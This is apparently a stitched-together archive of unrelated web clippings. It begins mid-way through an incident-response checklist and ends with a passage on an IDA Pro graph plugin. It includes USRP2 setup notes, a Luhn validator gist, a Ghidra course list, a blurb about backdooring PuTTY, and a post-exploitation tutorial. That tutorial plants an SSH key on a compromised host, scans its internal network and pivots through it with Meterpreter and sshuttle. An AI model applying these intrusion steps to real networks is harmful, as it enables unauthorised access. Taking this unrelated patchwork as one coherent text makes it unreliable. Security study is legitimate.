How was the problem initially detected? When was it detected and by whom?

What security infrastructure components exist in the affected environment?
\(e.g., firewall, anti-virus, etc.\)

What is the security posture of the affected IT infrastructure components? How
recently, if ever, was it assessed for vulnerabilities?

What groups or organizations were affected by the incident? Are they aware of
the incident?

Were other security incidents observed on the affected environment or the
organization recently?

## Define Communication Parameters

Which individuals are aware of the incident? What are their names and group or
company affiliations?

Who is designated as the primary incident response coordinator?

Who is authorized to make business decisions regarding the affected
operations? \(This is often an executive.\)

What mechanisms will the team to communicate when handling the incident?
\(e.g., email, phone conference, etc.\) What encryption capabilities should be
used?

What is the schedule of internal regular progress updates? Who is responsible
for them?

What is the schedule of external regular progress updates? Who is responsible
for leading them?

Who will conduct "in the field" examination of the affected IT infrastructure?
Note their name, title, phone \(mobile and office\), and email details.

Who will interface with legal, executive, public relations, and other relevant
internal teams?

## Assess the Incident's Scope

What IT infrastructure components \(servers, websites, networks, etc.\) are
directly affected by the incident?

What applications and data processes make use of the affected IT
infrastructure components?

Are we aware of compliance or legal obligations tied to the incident? \(e.g.,
PCI, breach notification laws, etc.\)

What are the possible ingress and egress points for the affected environment?

What theories exist for how the initial compromise occurred?

Does the affected IT infrastructure pose any risk to other organizations?

## Review the Initial Incident Survey's Results

What analysis actions were taken to during the initial survey when qualifying
the incident?

What commands or tools were executed on the affected systems as part of the
initial survey?

What measures were taken to contain the scope of the incident? \(e.g.,
disconnected from the network\)

What alerts were generated by the existing security infrastructure components?
\(e.g., IDS, anti-virus, etc.\)

If logs were reviewed, what suspicious entries were found? What additional
suspicious events or state information, was observed?

## Prepare for Next Incident Response Steps

Does the affected group or organization have specific incident response
instructions or guidelines?

Does the affected group or organization wish to proceed with live analysis, or
does it wish to start formal forensic examination?

What tools are available to us for monitoring network or host-based activities
in the affected environment?

What mechanisms exist to transfer files to and from the affected IT
infrastructure components during the analysis? \(e.g., network, USB, CD-ROM,
etc.\)

Where are the affected IT infrastructure components physically located?

What backup-restore capabilities are in place to assist in recovering from the
incident?

What are the next steps for responding to this incident? \(Who will do what
and when?\)

## Key Incident Response Steps

  1. Preparation: Gather and learn the necessary tools, become familiar with your environment.
  2. Identification: Detect the incident, determine its scope, and involve the appropriate parties.
  3. Containment: Contain the incident to minimize its effect on neighboring IT resources.
  4. Eradication: Eliminate compromise artifacts, if necessary, on the path to recovery.
  5. Recovery: Restore the system to normal operations, possibly via reinstall or backup.
  6. Wrap-up: Document the incident's details, retail collected data, and discuss lessons learned.

## Other Incident Response Resources

Incident Survey Cheat Sheet for Server Administrators

Windows Intrusion Discovery Cheat Sheet

Checking Windows for Signs of Compromise

Linux Intrusion Discovery Cheat Sheet

Checking Unix/Linux for Signs of Compromise

# Poor mans VPN Pivot at last\! | phillips321.co.uk
**Created:**| _10/30/2013 8:36:57 AM_  
---|---  
**Updated:**| _10/30/2013 8:36:57 AM_  
**Author:**| __  
**Tags:**| _vpn_  
  

# **P** oor mans VPN Pivot at last\!

Published October 29, 2013 | By phillips321 
So you’re broke and you don’t own msfpro , cobalt strike  or any of the other
expensive tools that allow vpn pivoting**.** \(FYI: Paying for tools like
cobalt strike  helps Raphael Mudge  continue to keep developing free tools
like Armitage \)

So now that that’s out of the way lets explain the scenario**.**

You’ve managed to get a meterpreter session on a box via a webshell \(possibly
a network firewall or something else with an interface on the internal network
you’re trying to own\)**.** But you hate having to use meterpreter’s portfwd
and route options**.** They’re just too painful.

The whole of this article requires ssh access to the initial pivot point**.**
Don’t worry if you can’t see the ssh service from your attacking box, we can
bypass that using portfwd**.**

Here is a rough idea of how this network is set up**.**  
<img src='img/Temp2_6259.png' width='300' height='75' alt='network' />

The first thing to do is upload your public key to the victim box on 192**.**
168.1**.** 18 via your meterpreter session\(you have created one haven’t
you**?****?****?** ssh-keygen\)

FYI copying your key like this will blat out the pre-existing authorised keys,
this was just a quick way i could demo it**.** I’m also doing this as root
user, however this is NOT needed**.**

| meterpreter > upload .ssh/id\_rsa.pub  
\[\*\] uploading : .ssh/id\_rsa.pub -> .ssh/id\_rsa.pub  
\[\*\] uploaded : .ssh/id\_rsa.pub -> .ssh/id\_rsa.pub  
meterpreter > mv .ssh/id\_rsa.pub .ssh/authorized\_keys  
---|---  
Now you have your ssh public key on the box you’ll need to portfwd ssh on the
local box back to

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21| meterpreter > portfwd add -l 2222 -p 22 -r 127**.** 0**.** 0.1  
\[\*\] Local TCP relay created: 0.0.0**.** 0:2222 <-> 127.0.0.1:22  
meterpreter > ifconfig  
Interface 4  
============  
Name : eth0  
Hardware MAC : 00:0c:29:fe:d2:e7  
MTU : 1500  
Flags : UP BROADCAST RUNNING MULTICAST  
IPv4 Address : 192**.** 168.1.18  
IPv4 Netmask : 255.255**.** 255.0  
Interface 5  
============  
Name : eth1  
Hardware MAC : 00:0c:29:fe:d2:f1  
MTU : 1500  
Flags : UP BROADCAST RUNNING MULTICAST  
IPv4 Address : 10**.** 0.0**.** 4  
IPv4 Netmask : 255.255.255.0  
meterpreter > background  
\[\*\] Backgrounding session 4..**.**  
---|---  
Bingo, we know it has a backend network on the range 10**.** 0**.** 0.0/24. We
need to scan the back end network to see what devices there are:

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14| msf> route add 10**.** 0.0.0 255**.** 255.255.0 4  
\[\*\] Route added  
msf> route print  
Active Routing Table  
====================  
Subnet Netmask Gateway  
\------ ------- -------  
10**.** 0.0.0 255**.** 255.255.0 Session 4  
msf> use auxiliary/scanner/portscan/tcp  
msf auxiliary\(tcp\) > set RHOSTS 10**.** 0.0.1/24  
RHOSTS => 10**.** 0.0.1/24  
msf auxiliary\(tcp\) > set PORTS
21,22,23,25,50,80,135,139,199,443,445,1556,2301,2381,3181,3389  
PORTS => 21,22,23,25,50,80,135,139,199,443,445,1556,2301,2381,3181,3389  
msf auxiliary\(tcp\) > run  
---|---  
So now we have a target on the backend network, in this case it’s 10**.**
0.0.1**.**

Now you need to download the main part of this article….. sshuttle **\!**  
Sshuttle is a clever set of python scripts that allows you to route TCP and
UDP traffic over a SSH session**.** You don’t need to use a root account on
your SSH server and you also don’t need to manually set up each forwarded port
like you would with metasploit**.**

It’s extremely simple to use and it’ll allow you to scan backend servers using
nmap, nessus and plenty more**\!** Woohoo, poor mans VPNPivot \(over SSH\) at
last\!

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26  
27  
28  
29  
30  
31  
32| root@kali:~\# git clone git://github.com/apenwarr/sshuttle  
Cloning into 'sshuttle'..**.**  
remote: Counting objects: 945, done.  
remote: Compressing objects: 100% \(472/472\), done**.**  
remote: Total 945 \(delta 496\), reused 855 \(delta 426\)  
Receiving objects: 100% \(945/945\), 556**.** 89 KiB | 381 KiB/s, done**.**  
Resolving deltas: 100% \(496/496\), done.  
root@kali:~\# cd sshuttle/  
root@kali:~/sshuttle\# **.** /do all  
Removing previously built files..**.**  
do all  
do Documentation/all  
do sshuttle**.** 8  
do md-to-man  
do md2man**.** py exists.  
do sshuttle.md.tmp  
do ../version/vars  
do gitvars  
do gitvars.pre exists**.**  
do prodname exists.  
do prodname exists**.**  
do sshuttle.md exists**.**  
do version/all  
do vars exists**.**  
do \_version**.** py  
do vars exists.  
What now?  
\- Run sshuttle: ./sshuttle --dns -r HOSTNAME 0/0  
\- Read the README: less README**.** md  
\- Read the man page: less Documentation/sshuttle**.** md  
Removing stamp files..**.**  
root@kali:~/sshuttle\#  
---|---  
So now you’ve got shuttle installed and working all you need to do is connect
to your local port 127**.** 0**.** 0.1:2222 which will then route through the
meterpreter session onto the backend network**.** I think sshuttle only works
for TCP and UDP so no arp-scanning or ICMP sweeps, please let me know if you
know otherwise**.**

We need to check the port forward is running locally first:

| root@kali:~/sshuttle\# netstat -antp | grep 2222  
tcp 0 0 0**.** 0.0**.** 0:2222 0.0.0.0:\* LISTEN 9816/ruby  
---|---  
Now run shuttle connecting to yourself on 2222:

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22| root@kali:~/sshuttle\# **.** /sshuttle -vr 127.0.0.1:2222 10**.** 0.0.0/24  
Starting sshuttle proxy.  
Listening on \('127**.** 0.0.1', 12300\).  
firewall manager ready**.**  
c : connecting to server...  
s: latency control setting = True  
s: available routes:  
s: 10**.** 0.0**.** 0/24  
s: 192.168.1.0/24  
c : connected**.**  
Connected.  
firewall manager: starting transproxy**.**  
>> iptables -t nat -N sshuttle-12300  
>> iptables -t nat -F sshuttle-12300  
>> iptables -t nat -I OUTPUT 1 -j sshuttle-12300  
>> iptables -t nat -I PREROUTING 1 -j sshuttle-12300  
>> iptables -t nat -A sshuttle-12300 -j REDIRECT --dest 10**.** 0.0.0/24 -p
tcp --to-ports 12300 -m ttl **\!** \--ttl 42  
>> iptables -t nat -A sshuttle-12300 -j RETURN --dest 127**.** 0**.** 0.0/8 -p
tcp  
c : Accept: 192.168.1**.** 14:51483 -> 10.0.0.1:80**.**  
c : Accept: 192.168.1.14:52351 -> 10**.** 0.0.4:80.  
c : Accept: 192**.** 168.1.14:52352 -> 10.0**.** 0.4:80.  
c : Accept: 192.168**.** 1.14:52353 -> 10.0.0**.** 4:80.  
---|---  
Boom, you should now be able to root to devices on the internal network:  
<img src='img/Temp2_6258.png' width='150' height='150' alt='Screen Shot
2013-10-29 at 22.57.47' /> <img src='img/Temp2_6257.png' width='150'
height='150' alt='Screen Shot 2013-10-29 at 22.58.00' />

To exit shuttle just simply press Ctrl-C

Any advice please just comment**.** Does anyone know a quicker way to upload
my public ssh key via meterpreter without wiping the authorized\_keys**?**

Final note: this example routed the entire SSH session over a meterpreter
portfwd, this would work much much faster if you had direct access to the SSH
service that you wanted to pivot through**.**

****

# USRP2 - AirBlue - AWB/Leap Projects

**Created:**| _1/31/2012 9:10:26 PM_  
---|---  
**Updated:**| _1/31/2012 9:11:15 PM_  
**Author:**| __  
**Tags:**| _Gnuradio fpga_  
  

# USRP2

There are a few steps for setting up Airblue in conjunction with the USRP2.
All the code referenced in this section is located in the leap-platforms-usrp
repository. You should begin with a vanilla USRP2 setup \(including the
ethernet communication cable\). We preserve the Ettus git environment in case
someone wants to jump to head. Most of these steps will be deprecated as we
improve our own internal automation.

## Flash Image

USRP2 boots off a an SD card which contains both a software image and a
hardware image. Currently this requires a separate FPGA build and a manual
setup of the FPGA SD card. We have heavily modified the USRP2 FPGA code, so as
to be incompatible with the usual Ettus releases. Here's how to build the FPGA
image:

[code]

     cd WORKSPACE &&\
     awb-shell checkout package leap-package-usrp &&\
     cd src/leap-platforms-usrp/tools/leap-platforms-usrp/usrp2/top/u2_rev3_rxtx/ &&\
     make && \
     ls build/u2_rev3.bin
    
[/code]

This builds the FPGA image for the USRP2.

You can copy this to an SD card using the gnuradio u2\_flash\_tool:

[code]

    u2_flash_tool -t fpga  --dev=/dev/XXX -w build/u2_rev3.bin
    
[/code]

Replace the XXX with the appropriate device on your machine. Be careful with
this command. Mistyping it can wipe out your hard disk.

The second step is to build the USRP firmware. We also provide a snapshot of
the firmware, although it is largely unmodified. Note that you will have to
obtain zpu and install it \[instructions on how to do this otw\].

[code]

     cd WORKSPACE &&\
     cd src/leap-platforms-usrp/tools/uhd/firmware/zpu/ &&\
     mkdir build &&\
     cd build &&\
     cmake ../ &&\
     make && \
     ls ./usrp2/usrp2_txrx_uhd.bin
    
[/code]

And load this to the SD card:

[code]

    u2_flash_tool -t s/w  --dev=/dev/XXX -w usrp2/usrp2_txrx_uhd.bin
    
[/code]

Now you have an Airblue SD card for USRP2

## UHD Interface

We are using the newer UHD version of the host side code. We have branched the
UHD code and maintain our own version. This code sets up the USRP for wideband
transmission, something that the normal UHD code doesn't do very well.
Instructions on building UHD are here but should be largely subsumed by
Airblue's apt dependencies. To build our UHD snapshot:

[code]

     cd WORKSPACE &&\
     cd src/leap-platforms-usrp/tools/uhd/host &&\
     mkdir build &&\
     cd build &&\
     cmake ../ &&\
     make && \
     ls ./examples/rx_samples_to_file
    
[/code]

## Cabling

Information on purchasing and connecting the SATA cabling can be found here.

## Setting up the Network Device

The USRP2 boxes currently require a **gigabit** internet connection to be seen
by linux. The UHD documentation will be helpful setting up the device,
although generally the following /etc/network/interfaces will work fine, where
<usrp-device> is the linux networking device \(eth1,eth2,etc...\) of the usrp:  

[code]

    ...
    <Normal system networking configuration>
    ...
    
    #Multihome for usrp2
    auto <usrp-device>
    iface <usrp-device> inet static
    address 192.168.10.1
    netmask 255.255.255.0
    
[/code]

Please note that dmesg can be very helpful in determining if your Ethernet
connection is gigabit as well as which network device the usrp is on. After
booting the USRP as described below, you should be able to ping the device.

## Running the USRP

Once the SD card has been prepared and the XUPV5 attached to the USRP2, you
can proceed to booting the USRP2. This is done by plugging in the USRP2 to a
power supply. If the SD is correctly configure, LED F should come on, followed
by a strobe of E,C, and A, followed by LED D turning on. At this point, you
must manually set a gain \(AGC is coming soon\) by running:

[code]

    ./rx_samples_to_file --freq 2442000000 --rate 20000000 --gain 35  --nsamps 10000000
    
[/code]

Note that this rx\_samples\_to\_file doesn't stream data from the USRP2. It
only configures the RX and TX pipelines and tunes the RF frontend.

This step needs to be carried out per power cycle of the USRP2. Once the USRP2
has been configured and attached, you can run normal Airblue executables on
the XUPV5. These will automatically handshake with the USRP2.

## Debugging and Errata

Different USRP2 frontends may require different gain settings for optimal
throughput. Variability ranges +/- 10dB around the 30dB setting. Once we get
AGC running this issue will go away.

The SATA link debug on the XUPV5 can be helpful in diagnosing errors:

[code]

    RX:476846563994 TX:0 Sent: 94300315271 Dropped: 1071904808 Realign: 750 Odd: 0 errors: 2546 
    
[/code]

RX and TX refer to the samples that we have sent. Because the SATA link does
not technically idle, Sent lists the number of data that we have sent to the
USRP. Under normal operating conditions, RX and Sent should increase each time
they are sampled. Realign, Odd, and Error reflect error conditions in the SATA
link. The SATA link is a little bit noisy, so this values should increment
occasionally - our implementation is robust to errors. However, if there are
large numbers of errors, it can indicate that the USRP2 did not boot
correctly. Power cycling can fix the issue.

# menandmice-services/dns-monitoring-scripts

**Created:**| _5/28/2017 11:06:59 AM_  
---|---  
**Updated:**| _5/28/2017 11:06:59 AM_  
**Author:**| __  
**Tags:**| _monitoring protocol-analysis_  
  

  

###  README.md

# Dns-Monitoring-Scripts

A collection of Simple shell scripts for DNS and DNSSEC monitoring.

The script have been explained in the November 3rd Webinar 'DNS and DNSSEC
Monitoring – Strategy and Tools' from Men & Mice. You can still watch the
recording at https://www.menandmice.com/resources/educational-
resources/webinars/dns-and-dnssec-monitoring-strategy-and-tools/ and on
YouTube.

These tests can be build upon, please send a pull request if you have
additions/fixes. These scripts are simple for a reason, please keep them
simple.

###  README.md

# Dns-Monitoring-Scripts

A collection of Simple shell scripts for DNS and DNSSEC monitoring.

The script have been explained in the November 3rd Webinar 'DNS and DNSSEC
Monitoring – Strategy and Tools' from Men & Mice. You can still watch the
recording at https://www.menandmice.com/resources/educational-
resources/webinars/dns-and-dnssec-monitoring-strategy-and-tools/ and on
YouTube.

These tests can be build upon, please send a pull request if you have
additions/fixes. These scripts are simple for a reason, please keep them
simple.

  

# Luhn10 algorithm — Gist

**Created:**| _5/25/2011 3:34:39 PM_  
---|---  
**Updated:**| _5/25/2011 3:34:54 PM_  
**Author:**| __  
**Tags:**| _crypto_  
  

Implementation of the Luhn 10 algorithm to check validity of credit card
numbers. See http://en.wikipedia.org/wiki/Luhn\_algorithm for details on the
algorithm.

[code]

    var validCreditCard = function(a,b,c,d,e){for(d=+a[b=a.length-1],e=0;b--;)c=+a[b],d+=++e%2?2*c%10+(c
    >
    4):c;return!(d%10)};
    
    validCreditCard('378282246310005'); //=> true
    validCreditCard('378282246310006'); //=> false
    
    // some numbers to test with
    // 378282246310005 371449635398431 378734493671000
    // 30569309025904 38520000023237 6011111111111117
    // 6011000990139424 5555555555554444 5105105105105100
    // 4111111111111111 4012888888881881 4222222222222
    
    
[/code]

annotated.js \#

embed

raw

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    
    
[/code]

|  function\( a, // credit card number \(as string\) b, // placeholder c, //
placeholder d, // placeholder e // placeholder \)\{ for\( d = +a\[ // value of
check digit \(unary + coerces into a number\) b = a.length - 1, // index to
check digit \(last digit in number\) \], e = 0 // index to current digit from
right ; b-- // iterate backwards from second-to-last digit ; \) c = +a\[b\],
// convert current digit to JavaScript number d += // increase sum ++e // set
current index from right % 2 ? // if current index from right is even 2 \* c %
10 // use the sum of the digits of \(2\*digit\), e.g. 9 => 9\*2 => 18 => 1+8
=> 9 \+ \(c > 4\) // if c is greater than 4 add 1 \(boolean true is coerced
into number 1\) : c // if current index is odd, just add the digit ;
return\!\( d % 10 // return true if the sum can be diveded by 10 without a
remainder // \(the Luhn 10 algorithm is also called the "modulus 10"
algorithm\) // learn more at http://en.wikipedia.org/wiki/Luhn\_algorithm \)
\}  
---|---  
index.js \#

embed

raw

[code]

    1
    
    
[/code]

|
function\(a,b,c,d,e\)\{for\(d=+a\[b=a.length-1\],e=0;b--;\)c=+a\[b\],d+=++e%2?2\*c%10+\(c
> 4\):c;return\!\(d%10\)\}  
---|---  
license.txt \#

embed

raw

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    
    
[/code]

|  Copyright \(c\) 2011 Thomas Fuchs, http://mir.aculo.us Permission is hereby
granted, free of charge, to any person obtaining a copy of this software and
associated documentation files \(the "Software"\), to deal in the Software
without restriction, including without limitation the rights to use, copy,
modify, merge, publish, distribute, sublicense, and/or sell copies of the
Software, and to permit persons to whom the Software is furnished to do so,
subject to the following conditions: The above copyright notice and this
permission notice shall be included in all copies or substantial portions of
the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO
EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES
OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
DEALINGS IN THE SOFTWARE.  
---|---  
package.json \#

embed

raw

[code]

    1
    2
    3
    4
    5
    6
    
    
[/code]

|  \{ "name": "luhn10", "description": "Credit card number check with the
Luhn10 algorithm", "keywords": \[ "creditcard", "luhn10", "validation" \] \}  
  
---|---  
test.html \#

embed

raw

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    
    
[/code]

|  <div id="log" >  </div> <script> // unit testing
http://140byt.es/\#gists/976405 var test =
function\(a,b,c,d,e,f\)\{c=d=e=0;for\(f in
a\)try\{a\[f\]\(function\(g,h\)\{g?c++:\(d++,b\(f,'F',h\)\)\}\)\}catch\(i\)\{e++;b\(f,'E',i\)\}b\(c+'A',d+'F',e+'E'\)\};  
// luhn10 function var luhn10 =
function\(a,b,c,d,e\)\{for\(d=+a\[b=a.length-1\],e=0;b--;\)c=+a\[b\],d+=++e%2?2\*c%10+\(c
> 4\):c;return\!\(d%10\)\};  
// output what we're testing here document.getElementById\('log'\).innerHTML =
luhn10.toString\(\)+'<br>';  
test\(\{ 'testPositives': function\(assert\)\{ var numbers =
\("378282246310005 371449635398431 378734493671000 30569309025904
38520000023237 6011111111111117 "+ "6011000990139424 5555555555554444
5105105105105100 4111111111111111 4012888888881881 4222222222222"\).split\("
"\); numbers.forEach\(function\(item\)\{ assert\(luhn10\(item\)\) \}\); \},
'testNegatives': function\(assert\)\{ var numbers = \("378282246310006
371449635398439 378734493671005 4111111111111112"\).split\(" "\);
numbers.forEach\(function\(item\)\{ assert\(\!luhn10\(item\)\) \}\); \} \},
function\(a,b,c\)\{ // log to debugging element
document.getElementById\('log'\).innerHTML += \[a,b,c\].join\(', '\)+'<br>';
\}\); </script>  
---|---

# The Alt-Ergo theorem prover

**Created:**| _11/27/2010 11:20:41 PM_  
---|---  
**Updated:**| _11/27/2010 11:20:41 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification research projects SMT_  
  

# <img src='img/Temp2_7959.png' />

Alt-Ergo is an automatic theorem prover dedicated to program verification.
Alt-Ergo is based on CC\(X\) a congruence closure algorithm parameterized by
an equational theory X. Currently, CC\(X\) can be instantiated by the empty
equational theory and by the linear arithmetics. Alt-Ergo contains also a home
made SAT-solver and an instantiation mechanism. Its architecture is summarized
by the the following picture.

<img src='img/Temp2_7958.png' />

Alt-Ergo is both safe and modular: each box is described by a small set of
inference rules and is implemented as an Ocaml functor. Moreover, the code is
short \(7000 lines for the whole program but just 4500 for the main loop\).

# Online Courses – Ghidra

**Created:**| _3/8/2019 12:39:05 PM_  
---|---  
**Updated:**| _3/8/2019 12:39:05 PM_  
**Author:**| __  
**Tags:**| _Tutorials tutorial ghidra_  
  

  

Skip to content

.

. <img src='img/cropped-ghidra3-210x85.png' width='631' height='256' /> .

.

. .

.

.

.

.

  * Coming Soon
  * Documentation
  * Online Courses
  * Twitter

.

.

.

.

# Online Courses

## Beginner –

  1. Beginner **course** with notes / without
  2. Cheat Sheet

## Intermediate –

  1. Ghidra Language Specifications 
  2. Intermediate**course** with notes / without
  3. Intermediate **scripting** with notes / without
  4. Headless analyzer with notes / without
  5. Version tracking with notes / without

## Advanced –

  1. Improving diassembly and decompilation / examples
  2. Advanced **development** course with notes / without
  3. Exercise files

.

.

.

.

.

. .

. WordPress theme by CoralThemes .

.

# Backdooring Putty with Metasploit Meterpreter Tutorial

**Created:**| _1/17/2011 9:34:53 PM_  
---|---  
**Updated:**| _1/17/2011 9:35:04 PM_  
**Author:**| __  
**Tags:**| _bookmark new?_  
  

# Backdooring Putty with Metasploit Meterpreter  
---  
## In this video, drlamer demonstrates how to add an undetectable backdoor to
the popular program putty. Once the backdoored Putty is run by a gullible
user, the attacker gets a reverse connect meterpreter shell which he further
uses to exploit the system.  
  
The video is very detailed and shows how to escalate privileges, add users,
enable remote desktop and modify firewall policies etc. all from within
Metasploit. This is a recommended watch\!  

# Twitter / @Lars\_Lucas: Willingness to admit you'r ...

**Created:**| _11/10/2011 3:13:08 PM_  
---|---  
**Updated:**| _11/10/2011 3:13:08 PM_  
**Author:**| __  
**Tags:**| __  
  
<img src='img/Temp2_8590.jpg' alt='pic.twitter.com/XoqDAOdy' />

# FLARE IDA Pro Script Series: Simplifying Graphs in IDA « FLARE IDA Pro
Script Series: Simplifying Graphs in IDA

**Created:**| _3/7/2018 8:56:25 AM_  
---|---  
**Updated:**| _3/7/2018 8:56:25 AM_  
**Author:**| _wishi_  
**Tags:**| _iDA Graphs_  
  

  

# FLARE IDA Pro Script Series: Simplifying Graphs in IDA

January 11, 2018 |  by Jay Smith
#### Introduction

We’re proud to release a new plug-in for IDA Pro users – SimplifyGraph – to
help automate creation of groups of nodes in the IDA’s disassembly graph view.
Code and binaries are available from the FireEye GitHub repo. Prior to this
release we submitted it in the 2017 Hex-Rays plugin contest, where it placed
third overall.

My personal preference is to use IDA’s graph mode when doing the majority of
my reverse engineering. It provides a graphical representation of the control
flow graph and gives visual cues about the structure of the current function
that helps me better understand the disassembly.

Graph mode is great until the function becomes complex. IDA is often forced to
place adjacent nodes relatively far apart, or have edges in the graph cross
and have complex paths. Using the overview graph becomes extremely difficult
due to the density of nodes and edges, as seen in Figure 1.

<img src='img/Temp2_3070.png' width='385' height='395' />  
Figure 1: An annoying function

IDA has a built-in mechanism to help simplify graphs: creating groups of
nodes, which replaces all of the selected nodes with a new group node
representative. This is done by selecting one or more nodes, right-clicking,
and selecting “Group nodes”, as shown in Figure 2. Doing this manually is
certainly possible, but it becomes tedious to follow edges in complex graphs
and correctly select all of the relevant nodes without missing any, and
without making mistakes.

<img src='img/Temp2_3065.png' width='566' height='331' />  
Figure 2: Manual group creation

The SimplifyGraph IDA Pro plug-in we’re releasing is built to automate IDA’s
node grouping capability. The plug-in is source-compatible with the legacy IDA
SDK in 6.95, and has been ported to the new SDK for IDA 7.0. Pre-built
binaries for both are available on the Releases tab for the project
repository.

The plug-in has several parts, which are introduced below. By combining these
together it’s possible to isolate parts of a control flow graph for in-depth
reverse engineering, allowing you to look at Figure 3 instead of Figure 1.

<img src='img/Temp2_3063.png' width='451' height='467' />  
Figure 3: Isolated subgraph to focus on

#### Create Unique-Reachable \(UR\) Subgraph

Unique-Reachable nodes are all nodes reachable in the graph from a given start
node and that are not reachable from any nodes not currently in the UR set.
For example, in Figure 4, all of the Unique-Reachable nodes starting at the
green node are highlighted in blue. The grey node is reachable from the green
node, but because it is reachable from other nodes not in the current UR set
it is pruned prior to group creation.

<img src='img/Temp2_3059.png' width='420' height='561' />  
Figure 4: Example Unique Reachable selection

The plug-in allows you to easily create a new group based on the UR
definition. Select a node in IDA's graph view to be the start of the reachable
search. Right click and select "SimplifyGraph -> Create unique-reachable
group". The plug-in performs a graph traversal starting at this node,
identifies all reachable nodes, and prunes any nodes \(and their reachable
nodes\) that have predecessor nodes not in the current set. It then prompts
you for the node text to appear in the new group node.

If you select more than one node \(by holding the Ctrl key when selecting
nodes\) for the UR algorithm, each additional node acts as a sentry node.
Sentry nodes will not be included in the new group, and they halt the graph
traversal when searching for reachable nodes. For example, in Figure 5,
selecting the green node first treats it as the starting node, and selecting
the red node second treats it as a sentry node. Running the “Create unique-
reachable group” plug-in option creates a new group made of the green node and
all blue nodes. This can be useful when you are done analyzing a subset of the
current graph, and wish to hide the details behind a group node so you can
concentrate on the rest of the graph.

<img src='img/Temp2_3071.png' width='514' height='662' />  
Figure 5: Unique reachable with sentry

The UR algorithm operates on the currently visible graph, meaning that you can
run the UR algorithm repeatedly and nest groups.

#### Switch Case Groups Creation

Switch statements implemented as jump tables appear in the graph as nodes with
a large fan-out, as shown in Figure 6. The SimplifyGraph plug-in detects when
the currently selected node has more than two successor nodes and adds a
right-click menu option “SimplifyGraph -> Create switch case subgraphs”.
Selecting this runs the Unique-Reachable algorithm on each separate case
branch and automatically uses IDA’s branch label as the group node text.

<img src='img/Temp2_3058.png' width='496' height='202' />  
Figure 6: Switch jumptable use

Figure 7 shows a before and after graph overview of the same function when the
switch-case grouping is run.

<img src='img/Temp2_3061.png' width='654' height='295' />  
Figure 7: Before and after of switch statement groupings

#### Isolated Subgraphs

Running Edit -> Plugins -> SimplifyGraph brings up a new chooser named
"SimplifyGraph - Isolated subgraphs" that begins showing what I call isolated
subgraphs of the current graph, as seen in Figure 8.

<img src='img/Temp2_3067.png' width='512' height='283' />  
Figure 8: Example isolated subgraphs chooser

A full definition appears later in the appendix including how these are
calculated, but the gist is that an isolated subgraph in a directed graph is a
subset of nodes and edges such that there is a single entrance node, a single
exit node, and none of the nodes \(other than the subgraph entry node\) is
reachable by nodes not in the subgraph.

Finding isolated subgraphs was originally researched to help automatically
identify inline functions. It does this, but it turns out that this graph
construct occurs naturally in code without inline functions. This isn’t a bad
thing as it shows a natural grouping of nodes that could be a good candidate
to group to help simplify the overall graph and make analysis easier.

Once the chooser is active, you can double click \(or press Enter\) on a row
in the chooser to highlight the nodes that make up the subgraph, as seen in
Figure 9.

<img src='img/Temp2_3066.png' width='654' height='557' />  
Figure 9: Highlighted isolated subgraph

You can create a group for an isolated subgraph by:

  * Right-clicking on the chooser row and selecting "Create group", or pressing Insert while a row is selected.
  * Right-clicking in a highlighted isolated subgraph node and selecting "SimplifyGraph -> Create isolated subgraph".

Doing either of these prompts you for text for the new graph node to create.

If you manually create/delete groups using IDA you may need to refresh the
chooser's knowledge of the current function groups \(right-click and select
"Refresh groups" in the chooser\). You can right click in the chooser and
select "Clear highlights" to remove the current highlights. As you navigate to
new functions the chooser updates to show isolated subgraphs in the current
function. Closing the chooser removes any active highlights. Any custom colors
you applied prior to running the plug-in are preserved and reapplied when the
current highlights are removed.

Isolated subgraph calculations operates on the original control flow graph, so
isolated subgroups can't be nested. As you create groups, rows in the chooser
turn red indicating a group already exists, or can't be created because there
is an overlap with an existing group.

Another note: this calculation does not currently work on functions that do
not return \(those with an infinite loop\). See the Appendix for details.

#### Graph Complement

Creating groups to simplify the overall control flow graph is nice, but it
doesn’t help understand the details of a group that you create. To assist with
this, the last feature of the plug-in hides everything but the group you’re
interested in allowing you to focus on your reverse engineering. Right
clicking on a collapsed group node, or a node that that belongs to an
uncollapsed group \(as highlighted by IDA in yellow\), brings up the plug-in
option “Complement & expand group” and “Complement group”, respectively. When
this runs the plug-in creates a group of all nodes other than the group you’re
interested in. This has the effect of hiding all graph nodes that you aren’t
currently examining and allows you to better focus on analysis of the current
group. As you can see, we’re abusing group creation a bit so that we can avoid
creating a custom graph viewer, and instead stay within the built-in IDA graph
disassembly view which allows us to continue to markup the disassembly as
you’re used to.

Complementing the graph gives you the view seen in Figure 10, where the entire
graph is grouped into a node named “Complement of group X”. When you’re done
analyzing the current group, right click on the complement node and select
IDA’s “Ungroup nodes” command.

<img src='img/Temp2_3069.png' width='606' height='464' />  
Figure 10: Group complement

#### Example Workflow

As an example that exercises the plug-in, let’s revisit the function in Figure
1. This is a large command-and-control dispatch function for a piece of
malware. It contains a large if-else-if series of inlined strcmp comparisons
that branch to the logic for each command when the input string matches the
expected command.

